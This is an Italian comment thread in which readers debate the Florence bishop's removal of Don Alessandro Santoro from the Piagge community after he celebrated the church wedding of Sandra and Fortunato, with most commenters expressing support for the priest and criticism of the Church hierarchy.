    Sono vicina a Don Alessandro, che ho incontrato solo una volta, rimanendo impressionata dalla sua visione radicale. Oggi sempre più c’è bisogno di gente come lui e la sua comunità per contrastare l’ondata reazionaria montante e invece domina l’indifferenza. Un tempo c’erano tanti che sapevano opporsi alle ingiustizie e fra loro anche i religiosi hanno dato un grande esempio: a Firenze basta nominare padre Ernesto Balducci, padre Turoldo,don Milani, padre Vannucci e tanti altri, ma non ci sono più, a parte don Mazzi. Santoro è l’ultimo rappresentante di una Chiesa dura e pura, che si cerca di soffocare definitivamente, mentre magari si pianifica di far rientrare all’ovile i preti anglicani sposati o si fanno scambi coi peccatori al governo.
    Il Vaticano pensa così di allargare il suo potere, ma perderà sempre più consensi ed ha già definitivamente perso il contatto con la realtà. Noi siamo dalla parte giusta e non ci faremo travolgere tanto facilmente.

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  44. ale

    non so
    conosco alessandro e il suo lavoro, e pure la chiesa ed il suo lavoro
    uno è personale, stimolante e verticale che si svolge come un esperimento una ricerca personale e cristiana,
    l’altra come una pentola che bolle a cui regolare tutto ..cibi fiamma vapore orario..
    io fossi alessandro, come condanno l’impianto macchinoso difficile della pentola,
    starei anche attento a cucinare da solo, lui e la sua comunità, un pranzo a cui in tanti dobbiamo accedere e in tantissimi capire!
    la presunzione della chiesa a capire x tutti e imparagonabile alla buona fede di capire solo da sè stessi o insieme ai propri simili.
    fossi in alessandro accetterei la decisione del vescovo e lavorerei alle piagge prete o non prete come un membro della comunità e così finire di capire se il cielo e le mie capacità personali me lo concederanno, capire veramente accettando il percorso della prova..

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  45. Susanna Vigiani

    La chiesa ci ha messo inginocchio, ma non ostante la nostra dificolta’ nel rialsarsi e la nostra dificolta’ di continuare a sentirci ancora vivi come comunita’, la chiesa continua a rifiutarci e farci sentire parte di essa, il vescovo neanche ha voluto guardare in faccia la realta’ rifiutando la richiesta di un nostro incontro, perche probabilmente non interessa ne a Monsignore e ne alla chiesa chi siamo e come viviamo e dove andiamo l’importante e’ sempre e comunque si rispetti quelle regole recrepite usate cent’anni fa’ in contesti diversi di vita, se le cose cambiano per la scenza, se si cerca l’innovazione perche’ non riguardare anche le leggi della chiesa? forse la paura delle Eminenze e’ perdere il potere che loro hanno?Mentre l’unica vera potenza che noi avevamo ci viene tolta per renderci ancora piu’ impotenti, il Vescovo se ne frega e non ci accoglie.Ale , a dato luce alla sua comunita’ e con la sua luce noi continueremo andare avanti , il nostro prete si e’ esposto per stimolare la chiesa a riguardarsi !!! lui scontera’ a tutti comunque a lasciato un a speranza

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  46. Eleonora

    Salve, sono una cittadina lesbica, atea e sbattezzata.
    Ho frequentato e studiato a lungo, in passato, la Chiesa (parrocchia, Azione Cattolica, scuola di teologia), giungendo a un progressivo distacco.

    Seguo da molto tempo e con grande stima l’operato di Don Santoro.
    Confesso che mi sono spesso chiesta come potesse un uomo della sua levatura morale rimanere all’interno dell’istituzione Chiesa, vista la lontananza siderale dal Vangelo che leggo ormai nei suoi rappresentanti.
    Questi continui tentativi di emarginarlo sono stati per me una riprova della fondatezzza dei miei interrogativi.
    Credo che molti cattolici dovrebbero riflettere sul grado di aderenza al Vangelo di coloro che hanno eletto a ministri del proprio culto.
    Don Santoro ha tutta la mia stima, essendo quanto di più vicino ho trovato alla mia idea di prete davvero vicino alle persone.

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  47. Paola Rossi

    Ho conosciuto Alessandro a Vicenza, durante una serata dell’associazione “Luca Coscioni”, abbiamo parlato della comunità delle Piagge, di Sandra, del suo desiderio di sposarsi in chiesa, della posizione del vescovo. Ho acquistato il libro “il volo”. L’ho letto e fatto leggere agli amici. Poi ho visto sul giornale la foto del matrimonio, e ieri ho letto il resto. Che dire? Vi sono vicina, a tutti, ad Alessandro (che ho visto una volta), alla comunità,
    a Sandra e Fortunato (che ho visto solo in fotografia). Alessandro, tu che sei uomo di fede e di preghiera, saprai dare il giusto valore a questo mio esserti vicina col pensiero, perché di più non so fare. E un pensiero anche per Sandra: per una volta che qualcuno fa qualcosa di giusto per te, viene punito. E allora, auguri per il vostro matrimonio, Sandra e Fortunato, malgrado tutto.
    Paola

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  48. anna nocentini

    La scorsa domenica, pur essendo informata della celebrazione che avveniva nella comunità delle Piagge, non ho partecipato, perché non faccio parte di quella comunità, non frequento la liturgia domenicale se non occasionalmente, e mi sembrava più un’intrusione –che può anche essere malinterpretata- che una partecipazione.
    Alcuni dei messaggi di solidarietà espressi nei giorni successivi, rivolti a don Santoro, mi è parso che non cogliessero il nodo della questione, che -in maniera non proprio laica- non mettessero adeguatmente a fuoco la differenza fra un diritto civile, che non è qui in discussione, e la richiesta di due sposi alla loro comunità ecclesiale.
    Il provvedimento assunto dal vescovo, per quanto non abbia stupito, ha prodotto anche in me un profondo dolore. Non si tratta di discutere sulla relazione fra le diverse “membra” della chiesa cattolica né di aprire una discussione sulla democrazia, che è fuori luogo, si tratta di cercare nella funzione pastorale le caratteristiche dell’ascolto, della com-passione, della preghiera comune, dell’amore per i diversi carismi che ogni comunità può esprimere.
    L’allontanamento di un sacerdote dalla sua comunità interrompe il cammino, che è invece la caratteristica di ogni esperienza di fede; non consente di condividere la riflessione di fondo, che l’esperienza di questi sposi pone, sull’origine dell’amore fra due persone, che per un credente non può che essere dono gratuito di Dio; ignora i due sposi, come se non fossero loro a porre davanti alla comunità tutta il loro desiderio. La perdita della loro centralità è il travisamento della questione, perchè nel matrimonio cattolico i “ministri” sono gli sposi, non il sacerdote che, riguardo al matrimonio, annota i dati su un registro
    Questo allontanamento, che si voglia o no, assume il significato di un giudizio di condanna su tutta l’esperienza della comunità, esperienza invece esemplare e di arricchimento per tutti, che sebbene impoverita dall’allontanamento di don Santoro, ha nella diretta partecipazione degli uomini e delle donne la garanzia di continuità.
    Infine, un abbraccio fraterno a don Alessandro, il cui spirito di servizio non sarà fiaccato da queste vicende.
    anna nocentini

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  49. Annunziata Vulcano

    Ancora una volta Don Santoro ha dato esempio della vera religiosità pur consapevole di ciò a cui poteva andare incontro. A lui vanno infinita stima e tutto il sostegno che insieme possiamo dare, sperando che la chiesa (anche se purtroppo credo che non sarà così!) riesca a poter vedere oltre i paraocchi che troppo spesso la allontanano dalle persone e dalla realtà.
    Spero di vedere risvolti nuovi e che tanto sia il movimento che si vada a creare, se così sarà forse anche questo sarà servito!
    Annunziata Vulcano

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  50. Palmina

    Conosco Don Santoro personalmente, la sua dedizione leale e sincera per i più deboli e ciàò che ha realizzato sino ad oggi, non si cancella con un colpo di spugna. Non può la chiesa tralasciare fatti e circostanze ben più gravi messi in atto da alcuni sacerdoti , come fatti d pedofilia e violenza arrecati ai danni di minori e condannare invece chi ha creduto e crede nell’amore tra due persone pure se apparentemente diverse. IL pregiudizio attanaglia molte persone, l’ipocrisia le avvolge. La chiesa dovrebbe invece accogiere prima di tutti quelli che riteniamo “diversi”, quelli che la società tiene ai margini. Ricordiamoci che Cristo si fece lavare i piedi dalla MAddalena……….a dimostrazione che non esistono per il cristiano figli e figliastri. IO PAlmina sono con te Alessandro.

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